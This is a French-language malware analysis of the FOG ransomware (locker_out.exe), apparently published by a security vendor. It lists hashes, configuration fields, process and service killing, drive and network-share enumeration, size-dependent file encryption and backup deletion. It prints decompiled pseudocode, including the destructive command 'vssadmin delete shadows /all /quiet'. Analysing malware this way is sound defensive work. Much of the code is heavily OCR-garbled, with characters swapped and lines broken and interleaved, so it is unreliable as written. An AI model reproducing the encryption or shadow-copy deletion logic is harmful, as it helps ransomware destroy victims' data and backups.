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Introduction

Le but de cette analyse est de disséquer le rangongiciel FOG pour mieux comprendre
son fonctionnement.

Hash du rancongiciel FOG

MD5 : 617d79c02ebac68b613d5b7cdbf001fd

SHA-1 : 83f00af43df650fda2c5b4a04a7b31790a8ad4cf

SHA-256:
e67260804526323484f564eebeb6c99ed021b960b899ff788aed85bb7a9d75c3

Information sur le fichier

Nom: locker_out.exe
Taille 98.00 KB (100352 bytes)

Résumé de I’analyse statique

Le fichier locker_out.exe contient un fichier de configuration JSON crypté a l'intérieur
de son code. Ces comportements sont énumérés ci-dessous :

Création d'un fichier DbLog.sys, il utilise ce fichier comme une sorte de console
pour imprimer les messages du journal.

Création d’'un mutex généré aléatoirement pour s'assurer qu'une seule instance
de lui-méme est en cours d'exécution.

Vérification de l'argument fourni (nomutex, target, console, procoff, uncoff)
Utilisation des champs "ShutdownProcesses" et "ShutdownServices" de son
fichier de configuration JSON pour mettre fin a certains services et processus.
Utilisation des champs "PathStopList" et "FileMaskStopList" de son fichier de
configuration JSON pour voir les fichiers/dossiers qu'il évite de chiffrer.

Utilisation du champ "LockedExt" dans son fichier de configuration JSON pour
I'extension ajoutée aux fichiers cryptés.

Utilisation du champ "NoteFileName" dans son fichier de configuration JSON
pour le nom du fichier de la note de rangon.

Le rangongiciel recherche des lecteurs (amovibles, fixes, RAM) et des partages
de réseau (comme des dossiers partagés) pour crypter les fichiers qui s'y
trouvent.



o |l utilise différents types de cryptage en fonction de la taille des fichiers de la
victime.

e |l utilise le champ "RSAPubkey" dans son fichier de configuration JSON pour la
clé publique qu'il utilise pour crypter les fichiers.

e |l supprime les sauvegardes a l'aide de vssadmin afin d'empécher le
rétablissement du systeme.

Analyse technique :

Nous pouvons voir que I'échantillon n'est pas "emballé" (packed), nous pouvons donc
I'analyser directement sans le déballer.

[ Detect It Easy v3.08 [Windows 7 Version 6.1 (Build 7601: SP 1)] (i386) -0 x|

File name

= | |C:\Users\Win7x32\DesktopYocker_out_2Yocker outVocker out.exe

File type File size Advanced
PE32 - 93.00 KiB
Scan Endianness Mode Architecture Type
Automatic b LE 32-bit 1386 GUI
= PE32 N
Compier; Microsoft Visual C/C++(19.00,24215)[C] 5 7
Linker: Microsoft Linker(14.00,24215) 5 7
Tool: Visual Studio(2015) 5 ?

Lors de I'exécution, nous pouvons voir qu'il crée un fichier nommé "DbgLog.sys" qu'il
utilise pour enregistrer les sorties de la console :

|%| Dbglog.sys 5/5/2024 10:36 PM System file 1KB
B |jocker_out.exe 5/3/2024 10:39 AM Application 93 KB

[N Hiew: DbglLog.sys

HAEAANEA [Hiew 7.20 <c>SEN .
Lehs2824 108:33:6892 PH [+] Defined mutex name: JjBgB4ZHxUhNAJL?mzbelUWFXxIBGUXEPAxw

Lehr2024 10:33:892 PH [=1 Decrypting Json config
/572024 18:33:82 PM [=]1 Checking mutex...
552024 10:33:@9 PM [-]1 Error parsing and loading config — exiting. __

Il utilise une technique appelée "API harvesting" (récolte d'APIl), dont voici les API
récoltées :



e GetProcAddress
e GetProcessHeap
e HeapAlloc

e HeapReAlloc

e Libre d'occupation (HeapFree)

LoadLibraryA
NtQuerySystemInformation
NtDuplicateObject
NtQueryObject

31 a[6];
32 ;

33 *}&v14 = "AcorPteG’; /{ GetProcAddress
34 *((_QwORD *)&v14 + 1) = "sserdd’;

35 = *(_DWORD *)(v5 + 6@);

36| H

E =3(v5 + *{_DWORD *}(v7 + v5 + 120));

5 + resu

1[8]);

_m—.-.Z _; 5 + result[9]);

// HeapAlloc

85 }

66| return result;

0000212C sub_402C00:54 (40202C)

_ int128 *)){v1B + *(_DWORD *}(v19[7] + 4 * *vi@ + v1B));

// GetProcessHeap




= 'lAeRpaeH’;
Y((char *)& + 12) = BisB4; /f HeapReAlloc
(_ stdcall *) t, _ intl28 *))al[2];

stdcall *)(int, _ int128 *))al[2];// HeapFree
‘eerfFpaeH’;

// LoadLibraryA

*)(int, _ int128 *))al[2];
= gqword_418488;
y(__intl2s *))ve(vs, &vi6);

H /f ntdll.dll
= gword_418418;

Y:H

(int (_ stdcall *)(int, _ intl28 *))al[2];

quord_418434; /{ NtQuerySystemInformation
18{va, &v

*)(int, _ int128 *))al[2];

= xmmword_ 410446;
= y12 , &

// WtDuplicateObject

I
(__stdcall *){int, _ int128 *)}al[2]; |
= gqword_418454;

(int

/f NtQueryobject

Formulation du nom de fichier "DbgLog.sys"

]
1woid _ cdecl sub_485F88(int al)

L 2l
3| *{ DWORD *)}(al + 44) "LgbD"; | // DbglLog.sys

4 *(_DWORD *)(al + 48) = 's.go’;

5| *( DWORD *}(al + 52) = 'sy';

H 6| InitializeCriticalSection((LPCRITICAL SECTION){al + 64));

71

Il s'agit du fichier de configuration crypté.

00206000( 01 00 00 0O[00 O6 OO O0[D9 DF 77 AA[92 €2 E6 ED|........ URw2, Aza
002DE010 |78 ;mim
002DE020 | 1C oU(y_8%.1
002DE030|EA 6E 76 O6|5F 76 F1 54|37 A7 EF 73|F5 5B 6B 4B énv._wATFEisulhK
002DE040|FO 05 F7 31 (A2 35 76 BE |26 40 3B C9|98 4C AB 7E|3.-1¢5v.&E3;E.La~
00206050 | BD FO BC 99|72 AS EF 5D |BS D1 8B 1A|00 43 4F 48| %B..r i]uR...COH
002DE060|BE FF 53 1E |98 3C 44 F4(45 2F 23 395 |FC 97 OE B2 | q¥5..<DOE/#.0..=
002DE070|AB B2 A8 FO|D6 B6 23 9D |8C 56 00 9D |36 CD D& 7F| = RN
002DE080
00206090
002DE0AD
002DE0ED
002DE0CO
002DE0D0
002DE0ED
002DE0FD
00206100
002DE6110|5E 1F 39 36|83 66 43 57 (56 CB BO 66(3C 29 18 3E| A.96.TIWVE:T<).>
00206120 |97 9E 61 56|2B C2 FE 94 |FC 22 C4 29|59 6B AD EC|..av+Ad.u"a)yk 1
002DE130| 36 AA 70 8C|D7 7F F8 OF [FE F9 34 66|00 94 1D F7|62p.x.o.0usf
002D6140|F1 94 7D 60|16 38 D5 42 |CF D3 1C S5A|66 AD FF E1|f.} .80BIO.ZF.V
002DE150| 43 4A 49 4E (5D 5C EE 70|00 AE D3 15 (Al 40 8B 42| CIIN]\»p.20.€.EB
002DE160 | F6 86 AA BF |44 AD 3A 53 |5F C8 BO 3B(4D EC 03 35 |6.2;D :5_E*;Mi.5
002D6170|B9 51 E1 OE|47 A3 78 BO|99 42 27 25|4C F1 99 90| 'Qa.GEx®,B'%LA. .
00206180 |0A F3 BC 9A|18 AE D7 7E|AS FB 3F BE|96 C1 1C E5|.0%..ox~ 07%.A.3
00206190 | 1F 39 BA 14|87 7E 69 BS|FE 2E 80 64|B3 B5 4C 95|.29°.
002D61A0| 31 48 D1 B5 |13 FC 1A 7B|C2 82 13 C5|21 A6 7D Al|1HRp.Q

002D61E0| 2D 34 BF 5D |9C A2 OB 24|11 DB F6 59|89 55 C7 2E|-4:].¢.5.06Y.uC.
002D61C0 .. B8,)6Q. .1
00206100 |BE 1F EC 99|98 B7 A4 9D (7C 08 2B 7E(90 F8 F3 78| %.7..-H.|.+~. 80X
002D61EQ| 09 71 8E B2|D7 71 F8 3F |73 AB 2B 24|55 23 85 58| .Q. XgB7yatiU#. X
nN?NA1FN| 78 FA 3N ARIFR DR 37 NFIN7 31 FA nCln1 AR GG 7Al wan. &07. . 11l. . kf7
4
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.data:@841688C CONFIG_START unk_416@8C db 92h ; ; DATA XREF: sub_484C60|
.data:B8416880 db ec2h ; A
.data:ea41600E db @EEh ; =
.data: 416807 db @Eeh ; &
.data: 08416018 db 78h ; x
.data: 88416011 db @Bah ; ¢©
.data:ea416812 db 6Bh ; k
.data:ee416813 db @B7h ; -
.data: 00416014 db 2
.data: 884160815 db 93h ; “
.data: 80416816 db 7ph ; }
.data:ee416817 db 1Fh
.data: 00416018 db @Fsh ; @
.data:ee416819 db 77h ; w
.data:ee41681A db @Fsh ; @
.data:Be416018 db @ceh ; I
.data:ee41681C db 31h ; 1
.data:eed1681D db ®BEh ; ¥
.data:P841601E db 78h ; x
.data:Be416081F db @ASh ; ¥
.data: 804160820 db 1ch
.data:ee416821 db 4eh ; @
.data:ee416822 db 46h ; F
.data: 004160823 db 15h
.data:ee4160824 db BE3h ; &
.data: 88416825 db @zh ;
.data:B0416026 db ecch ; I
.data: 004160827 db @F3h ; 4
.data:ee416028 db @Doh ; U
.data:pe416029 db 28h ; (
.data:ee416024 db @FDh ; ¥
.data: 0416028 db sFh ; _
.data:ee41682C db 38h ;
.data: 084160820 db 5Ch ; \
.data:B0416082E db @Ah
.data:88416082F db &Ch ; 1

Mutex généré pour s'assurer qu'une seule instance de lui-méme est en cours
d'exécution :

edi: "jEgB4Z HxUhNdIL 9mz 6 1WF XX TOGUX P AXW™
ZD04E4:"[+] Defined mutex name: %syn"

D02C439CS H3 push esi
002C49CA 05 42 30 00 00 add eax,3042 eax: " jBgE4Z HXUhNdIL 9mz 6 1WF XX TOGUXPAXW"
002C49CF 141} push eax eax: " JEgE4ZHxUhNd IL 9mz 6 1WF XX TOGUXPAxw"™
002C43D0 &4 00 push o
002C43902 &4 00 ush o0

FF 15 80 00 2D 0O dword ptr ds:[<&CreateMutexax]

Vérification des arguments fournis:

f

5 vl = al;

he  al[3e97] = 15;

7| w2 = GetCommandLineW();

B3| w3 = CommandLineToArgvW(v2, &pNumArgs)s

pa| if ( v3 )

ba| {

E1 val = 13

B2 if ( pMumirgs <=1 )

B3

B4 result 1;

3 }

F6 else

57 {

B3 VE = vl o+ 1;

- while (1) }

)

3 sub_48F648((_ w1281 *)&37, @, 1080); if ( *(_DWORD *)&37 != 5177420 || v33 I= 71 )
b v7 = **y6;

& ifb( v; 1= 45 &8 v7 != 47 ) vi2 = &u37;

b reak; . _
d sub_4875C8(*5 + 1, &/37); vi3 = L"TARGET";
ke v = &v37; vid = 1@;

3 v3 = L"NOMUTEX"; while { *(_DWORD *)v12 == *(_DWORD *)v13 }
& vie = 123 {

_.:D ?h11e { *(_DWORD *)vE == *(_DWORD *)v3 ) V12 += 43




Création d'un fichier appelé "lock _log.txt".

SHGetSpecialFolderPathA(@®, (LPSTR)(al + 88), 35, 1);
vl = 83
if ( *(_BYTE *)(=l + 88) )

do
+vl;
while ( *(_BYTE *)(al + 88 + v1) )3

if ( *( BYTE *)(vl + a1 + 87) != 92 )
*( BYTE *)(vi++ + al + 88) = 92;

*( DWORD *)(vl + 21 + 88) = 'kcol';
*F(_DWORD *)(vl + a2l + 92) = 'gol_'; // lock_log.txt
*(_DWORD *)(vl + al + 96) = "txt.';

*(_DWORD *)(vL + al + 168) = @;
InitializeCriticalSection((LPCRITICAL_SECTION)(al + 348));

B0 OM LD W LN W R L P G0 W L e L W

Fonction permettant de déchiffrer le fichier de configuration JSON :

1 DWORD *_ cdecl sub_4e4Ale(int al)

2q

3| _DWORD *result; // eax

4| int i3 /) esi

5| char v3; // [esptBh] [ebp-2884h]

6| char v4; // [esp+2864h] [ebp-28h]

7| int v5; f/ [esp+2878h] [ebp-Ch]

8

9 sub_48EDSE();

18 sub 4PGE6G(@x200u, @, 21 + 661, 260, =1 + 3560, @dbu);

11| PRINT_TO_DBLOG_sub_4@6@28("[=] Decrypting json confighn", w4};
12| result = sub_4@3F98(&v3, (_DWORD *)(al + 3568), ( DWORD *)(al + 3592));
13 for (i = @; i < *{ DWORD *)(=l + 936); i += 64 )

14| {

15 VS = i 4 *(_DWORD *)(=1 + 932);

16 result = (_DWORD *)sub_4@2ECB(&v3, v5);

17| }

18| return result;

19}

L'outil malicieux locker_out.exe analyse le fichier de configuration JSON pour les
champs ci-dessous (PathStopList, FileMaskStopList, etc.). Il liste les valeurs pour
chacun de ces champs et ces valeurs sont celles qu'il utilisera tout au long de son

exécution :

¥
if ( *(_DWoRD *)&v37 != 'DNBI' || (_WORD)w3E ) {25 - By37-
vld = &v3T7; 26 = L"PROCOFF™;
v2@ = L"CONSOLE"; w27 = 123
w2l = 12; . AR EYIE oo JARM Y0
while ( *(_DWORD *)v19 == *(_DWORD *)v28 ) ‘Ehlle ( *(_DWORD *)v25 == *(_DWORD *)v26 )
{
V19 += 43 w25 4= A=
¥
v2d = &v37;
w29 = L"UNCOFF";
v3ig = 16;
while { *{ DWORD *)v28 == *(_ DWORD *)vw29 }
d




PathStopList = Chemins d'accés aux fichiers/dossiers a ne pas crypter
FileMaskStopList = Noms de fichiers a ne pas crypter
ShutdownProcesses = Processus a arréter/supprimer
ShutdownServices = Services a arréter/supprimer

RSAPubKey = Clé publique RSA a utiliser lors du cryptage

LockedExt = Extension a ajouter a chaque fichier crypté

NoteFileName = Nom du fichier de la note de rangon

31| w23 = 8;
32| strepy(arglist, "PathStopList™});
33 if { !sub_4e5148(z2, (int)v2, (unsigned int)arglist, a2 + 944, a2 + 948, @) )
34 return @;
35| strepy(arglist, "FileMaskStopList™);
36 if { !sub_4e5148(=z2, (int)v2, (unsigned int)arglist, a2 + 952, a2 + 948, 1) )
37 return @;
38 strepy(arglist, "ShutdownProcesses");
39| if { !sub_485148(z2, (int)v2, (unsigned int)arglist, a2 + 968, a2 + 956, @) )
44 return @;
41| strepy({arglist, "ShutdownServices™);
42| if { !'sub_485148(z2, (int)v2, (unsigned int)arglist, a2 + 968, a2 + 964, @) )
43 return @;
44| strepylarglist, "RSHPuhKey |H
45| w3 = suh 481208 (v2, arglist});
ag| if ( lv3 )
47| {
48 PRINT_TO DBLOG sub 4@ee28("[-] error load value: RSAPubKey'n", v12};
49 return 8;
5@ }
510 *(_DWORD *){a2 + 972) = *{_DWORD *)(v3 + 16);
52| strcpy(arglist, "LockedExt");
53 w5 = sub_4@1286(v2, arglist);
@ ¥
1 strcpy{";_i::, "NDtEFllENEWE |H
2 g = suh _4el12ea(v2, arglist);
3 /9 = va;
4 if ( v8 )
s {

L’outil malicieux locker_out recherche tous les volumes montés en suivant ces étapes :



CCNReTurn

sub_48Fe48((_ ml28i *)szVolumeName, @, @x185);
sub_48F648(TargetPath, @, 261);
vl = FindFirstVolumeA(szVolumeName, @x104u);
v21 = vlj
if (vl == (HANDLE)-1 )
v2 = GetlastError();
result = PRINT_TO_DBLOG_sub_486028("[-] error call FindFirstVolumeA(), code: ¥d\n", v2);
b
else
1
vd = vlj
do
1
vs = @;
if ( szVolumeName[8] )
{
do
+Hv5;
while ( szVolumeName[vS] );
}
vE = v5 - 1;
if ( szVolumeName[@] != 92
|| szVolumeName[1] != 92
|| szVolumeName[2] != 63
|| szVolumeName[3] != 92
|| (v7 = &szVolumeName[vE], szVolumeName[v6] != szVolumeName[@]) )
PRINT_TO_DBLOG_sub_486020(
"[-] FindFirstVolumeW/FindNextVolumeW returned a bad path: ¥s\n",
{unsigned int)szVolumeName);
goto LABEL_29;
1
*w7 = 8;
v8 = QueryDosDeviceA(&DeviceName, (LPSTR)TargetPath, @x184u);
cchReturnLength = va;
*u7 = 92;
if ( lvs )
vl6 = GetlastError(};
68 goto LABEL_29;
69 }
76 cchReturnLength = 261;
71 if ( @etVolumePathNamesForVolumeNameA(szVolumeName, &szVolumePathNames, @x1@5u, &cchReturnLength) )
72
73 v9 = szVolumePathNames;
74 for ( i = &szVolumePathNames; vi; ++i )
75 {
76 vll = v9;
77 if ( (unsigned _ int8)(v9 - 97) <= @x19u )}
78 vll = v@ - 32;
79 v1Z = (CHAR *)(al + 261 * (char)(vil - 65) + 5568);
3e if ( !*v12 B& TargetPath[@].ml128i_i8[@] )
81
82 w13 = TargetPath[@].m128i_is[e];
33 vl4 = (CHAR *)TargetPath;
84 do
85
86 +Hvld;
87 12+ = vl3;
88 vl3 = *vl4;
89
L] while ( *via );
91 }
92 if (w9 )
93 {
94 do
95 ++i;
96 while ( *i );
97
98 va = i[1];
99
188 vd = w213
101 }
182 1
1e3 while ( FindNextVolumeA(v4, szVolumeName, @x1ed4u) );
le4 v15 = GetLastError();
185 if (w15 1= 18 )
186 PRINT_TO_DBLOG_sub_486020("[-] error call FindNextVolumeA(), code Hd\n", vi5);
187 LABEL_29:
183 result = FindVolumeClose(v4);

LENETN = v;



Il procéde ensuite a l'arrét du service en fonction de "ShutdownServices" a l'aide de la
fonction suivante :

25

29

3@

31

32 Returned, @);
33

34 ! struct _ENUM_SERVICE_STATUSA *)sub_4@6268(pc + 16);
35 if ( EnumservicesStatusA(v2, @x36u, lu, v13s, v5, &pch s &ServicesRet ed, @) )
36 1

37 r CloseServiceHandle;

38 5 iceS -.dwServiceType = @;

39 RD iceStatus.dwCheckPoint = 8i64;

10 17 = 8;

11 *(_OWORD *)&ServiceStatus.dwCurrentState = @i64;

12 while ( 1)

13 {

14 /3 = @3

15 /19 = 8;

16 V22 o= @5

47 if ( lse esReturned )

18 break;

44 v8 = v1B;

5@ do

51 {

52 if ( vo->ServiceStatus.dwCurrentState & 6 )

53 {

54 v18 = 8;

55 if ( *{_DWORD *){a2 + 964) <= 8 )

56

57 LABEL_14:

58 v7 = CloseServiceHandle;

59 T

5@ else

52 while ( !sub_4@749@(vo->1pServiceName, *(_DWORD *)(*(_DWORD *)(a2 + 968) + 4 * v1a)) )

Ensuite, il met fin au processus sur la base de "ShutdownProcesses" a l'aide de la
fonction suivante :



Ensuite, il vérifie tous les lecteurs (lecteurs amovibles, lecteurs fixes et disques RAM). i

vl = CreateToolhelp32snapshot(2u, @);
if ( w1 == (HANDLE)-1 )
{
v2 = GetlastError();
return PRINT_TO_DBLOG_sub_486028("[-] call CreateToolhelp32Snapshot() failed, code ¥d\n", v2);

sub_48F648((_ ml128i *)&pe.cntUsage, @, 292);
pe.dwSize = 296;
if ( !Process32First(vi, &pe) )

v4 = GetlastError();
PRINT_TO DBLOG sub 486828("[-] call Process32First() failed, code %d\n", v4);
return CloseHandle{vl};

w5 = GetCurrentProcessId()};
w13 = v5;

do
if ( pe.th32ProcessID != v5 )
vE = 83
if ( *{_DWORD *)(al + 956) > @ )
¢ while ( !sub_487498(pc.szExeFile, *(_DWORD *)(*(_DWORD *)(al + 96@) + 4 * vG)) )

if ( ++ve »= *(_DWORD *)(zl + 956) )
goto LABEL 14;

= OpenProcess(1lu, @, pe.th32ProcessID);

if ( w7

{
TErrrlnatEPrUcEss( R
Ve o= v

v1l® = CloseHandle;

CloseHandle(v3);

goto LABEL_15;

GetlLastError():
PRINT_TO DBLOG_sub_486@2@("[-] call OpenProcess(#s) failed, code ¥d\n", (unsigned int)pe.szExeFile);

}

s'agit des lecteurs ciblés par le chiffrement.

les
la7
las
lag
11a
111
112
113
114
115
116
117
118
119
128
121
122
123
124
125
12C

S
v2 = Getl DElCElDFlUEStPlHESH{@K1@4UJ &Buffer);
vi = @3

w85 = w2;

v o= a8,

vE2 = @

vEL = B3

if (w2 )

1
vE = 8;
while { 1)
1
*(&v74 + v5) = *(&Buffer + v4};
*(&7S + v3) = *(&v70 + v4);
u? = v71[v4];

+= 43

76[v5] = w6;

if ( *(&/74 + v5) == 65 || *(&74 + v5) == 97 )
goto LABEL_28;

v? = GetDriveTypeA{&v74

if (v7=2 || v7 == 3

break;



Ensuite, il énumere les ressources et les partages réseau a l'aide de la fonction ci-
dessous. Il a également l'intention de crypter ces partages de réseau.

6 cCount = -1;

7 w6 = WNetOpenEnumA(2u, @, @, lLpletResource, &hEnum);

8 w7 = ve;

9 if ( ve )

o {

1 PRINT_TO_DBLOG_sub_486028("[-] WnetOpenEnumd failed with error Ed\n", veE);
2 if { v7 == 1288 )

pu

{

WNetGetLastErrorA(&Error, &ErrorBuf, @xleeu, &NamsBuf, o@xleeu);
PRINT TO DBLOG sub 486@28(

P

L L L BN L I v
(%3]

B "[-] WnetOpenEnum& extended error code: ¥d (%d)\n Description: ¥s\nProvider: %s\n",
7 Error};

8 )

4 result = @;

w1

11 else

w2l {

13 /8 = sub_48626B(EBufferSize);

. while ( 1 )

15

16 sub_48F648(vE, @, Buffersize);

17 w3 = WNetEnumResourceA{hEnum, &cCount, w8, &Buffersize);
18 if ( wvo )

L | SRR

Y

Aprés avoir fini de rechercher les lecteurs possibles a crypter, il commence a
rechercher les fichiers/dossiers a crypter a I'aide de la fonction ci-dessous :

I

FindFirstFileW(FileName, &FindFileData);
53 Vi3 o= @3
54 if ( hFindFile == (HANDLE)-1 )

56 GetlLastError();
57 ~esult = PRINT_TO_DBLOG_sub_486028("[-] FindFirstFileW(¥ws) call error, code: %d\n", (unsigned int)FileName);

@
) 8 &
-

¥
ey
G

[ )
B ora P

@

ata.cFileName[@] != 48
ata.cFileName[1] && (FindFileData.cFileName[1] != 46 || FindFileData.cFileName[2]} )

PRINT_TO_DBLOG_sub_4@86028("Find dir: %ws\n", (unsigned int)FindFileData.cFileName});
if ( sub_4@20E@(FindFileData.cFileName) )
1

w1l = FindFileData.cFileName;

do

I IR O - )

(S i R -



[n
—

result = FindNextFileW(hFindFile, &FindFileData);

1w
e E e
jy
[

while ( result );
35y

(__intle *){vd + 980);
(int)({char *)vé - vi - 980);

O~ C
-

=
R
SRl J

[
@

[
Wk
-

114 4—;.;_:; o
*(__intle *}((char *}vis + vi6 - 2) = v17;

[
oo

while ( v17 )3
1 v18 = CreateFileW(FileNams, @x40000000u, 8, @, 2u, @x36u, @);
116 if (V18 == (HANDLE)-1 )

121 GetlLastError();

126 NumberOfByteskritten = @;

127 if ( lwriteFile(vls, *(LPCVOID *)(v& + 156@), *( DWORD *)(v& + 1564), &NumberOfByteslritten, @) )
128 {

129 v19 = GetlastError(};

13@ PRINT_TO DBLOG_sub_4@8662@("[-] WriteFile(Note) failed, erorr code &%d\n", v13};

137| return result;

00001726 sub_402140:97 (402326)

Une fois que le malware a trouvé les fichiers qu'il souhaite crypter, il lance le chiffrement
des données :

51

52

53

54

55| w5 istin lame;

56| sub_485FB@("Start encrypt file: Hws\n", (char)}lpExistingFileName);
57 we = @8;

55 sub_48F648((_ ml1281i *}NewFileName, @, 528);
59| w7 = *1pExi e;

68| if ( *1pE =)

61| {

52 /B = B

63 do

oo

Lo =]

Il utilise différentes routines de chiffrement en fonction de la taille du fichier (il modifie la
partie ou il commence a chiffrer en fonction de la taille du fichier de la victime). En
raison de l'existence du champ RSAPubKey dans la configuration JSON, il est plus
probable que l'algorithme de chiffrement utilisé soit RSA ou une version modifiée de
celui-ci.



la4 FileSize.QuadPart = (unsigned int)&FileSize;

185 if ( !GetFileSizeEx(vle, &Filesize) )

106 i

1@7 Filesize.LowPart = GetlastError();

1l@s PRINT_TO_DBLOG_sub_486@28("[-] GetFileSizeEx(%ws) error, code %d\n", (unsigned int)NewFil
189 return @;

118

111 FileSize.lLowPart = FileSize.HighPart;

112 va6 = (_ intle *)FileSize.HighPart;

113 v45 = *((signed int *)1lpExistingFileNamea + 3897);

114 V18 = sub_4@ECIB(vAS, *(_ int4 *)Ru4B);
115 v19 = sub_4@EB6@(v1E, HIDWORD(v1Z), 108, 8);
116 V2l = vae;

117 v22 = v19;

118 LODWORD(v23) = sub_4BECS@(v13, v2@, 64, @);
119 if (w23 )

128

121 w21l = (__PAIR_ (-(({(unsigned int)v23 > @x48) + HIDWORD(v23}), 64 - (signed int)v23)
122 + _ PAIR_ ((unsigned int)v2l, v22)) »» 32;
123 vIZ += B4 - viI3;

124 }

125 if (w2l <= @ &R (v21 < @ || v22 < Bx500000) )

126 {

127 Vil o= @;

128 w22 = 5242886;

129 if ( FileSize.QuadPart < 5242888 )

138

131 w21 = FileSize.HighPart;

132 w22 = FileSize.LowPart;

133 1

134 1

135 v24 = 1848576@ * sub_4@EBE@(v22, v21, 108485768, @);
136 w25 = v22 ¢ (unsigned int)w24;

137 v26 = w22 - v24;

138 nNumberOfBytesToRead = v26;

139 V27 = w21 - (v25 + HIDWORD(v24));

148 niumberOfBytesToWritea = v26;

141 vad = v27;

142 LODWORD(v22) = sub_48ECS@(v27, v27, 64, @);
143 if (w28 )

144 {

—_— .
155|LABEL_34:

156 if { v3e(vle, v29, nNumberOfBytesToRead, &NumberOfBytesRead, @) )

157

158 v32 = B3

159 if ( nNumberOfBytesToWritea > @ )

160 {

161 do

162

163 sub_4B2ECB(&v33, &v29[v32]);

164 V3D 4= B4y

165

166 while ( v32 < nNumberOfBytesToWritea );

167 vle = wd2;

168

169 SetFilePointerEx(vls, (LARGE_INTEGER)-(signed _ int64)_ PAIR (v44, nNumberOfBytesToRead), @, 1lu);
17@ if ( WriteFile(v16, v29, nNumberOfBytesToWritea, &NumberOfBytesRead, @) )
171 {

172 w37 = _ PAIR__ (v45, nNumberOfBytesTolritea) - _ PAIR_ (v44, nNumberOfBytesToRead);
173 V3B = sub_4@6F7@();

174 v39 = sub_406F7@();

175 vag = *((_DWORD *)lpExistingFileNamez + 3697);

176 pdwDatalen = 245;

177 sub_4@6380( (int)}lpExistingFileNamea, liDistanceToMove.HighPart + 4@, (BYTE *)&Buffer, (DWORD)&pdwDatalen);
178 liDistanceToMove.QuadPart = ©i64;

179 SetFilePointerEx(vl6, @i64, 8, 2u);

138 if ( WriteFile(vls, &Buffer, @x180u, &NumberOfBytesRead, @) )

181 {

182 CloseHandle(v16};

183 sub_4B6288(v29);

184 return 1;

185

186 H

Enfin, le rancgongiciel locker_out.exe supprime les sauvegardes aprées le chiffrement.
Cela permet d'empécher I'utilisateur de récupérer le systéme.



PRINT_TO DBLOG_sub_4@e@2e("[=] start clear backups..\n", v5);

sub_ 48F64@8((_ ml28i *)&StartupInfo.lpReserved, @, 64};
StartupInfo.cb = 68;

SstartupInfo.dwFlags = 1;

ProcessInformation = @i64;

StartupInfo.wShowhindow = @;

vE = qword_418C38;
vo = 181;
vll = gqword_418C3C;
vi2 = 8
ve = &va;
if ( 'sub_4@7eea() )
vl = &v1l; |

sub_ 48F648(CommandlLine, @, 180);
pszPath[@] = @;

vle = 8;

vi7 = 8

*(_OWORD *)&pszPath[l] = @i6d;
vls = @ied;

SHeetSpecialFolderPathA{@, pszPath, 36, @);
vl = @8;

if { pszPath[e] )

1

do
+vl;
while { pszPath[vl] };
if (vl && *(&v13 + wi) !
*(_WORD *}&pszPath[vl]

92 )
92;

wsprintfA((LPSTR)}CommandLine, “"¥s¥s\\vssadmin.exe delete shadows /all fquiet”, pszPath, va);
PRINT_TO DBLOG_sub 4@6828("[=] Try to run command: ¥s\n", (unsigned int)CommandLine};
if { !CreateProcessA(@, (LPSTR)}CommandLine, @, @, @, OxE000080u, @, @, &StartupInfo, &ProcessInformaticn) )

{

v2 = GetLastError(};

PRINT_TO_DELOG_sub_486828("[-] CreateProcessA(vssadmin) error, code ¥d\n™, v2);

v3 = SHEmptyRecycleBinA(@®, @, 7u);
if (w3 )

B e LT Y
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Cet article vous a été présenté par Streamscan. Notre solution de détection et
réponse gérées (DRG) combine notre technologie de détection de cybermenaces CDS
basée sur I'Al, notre EDR et le soutien de notre équipe de chasseurs de cybermenaces,
pour fournir la sécurité réseau dont votre organisation a besoin.

Contactez notre équipe de spécialistes en cybersécurité et planifiez une démo pour
découvrir comment StreamScan peut vous aider a protéger votre entreprise ou votre
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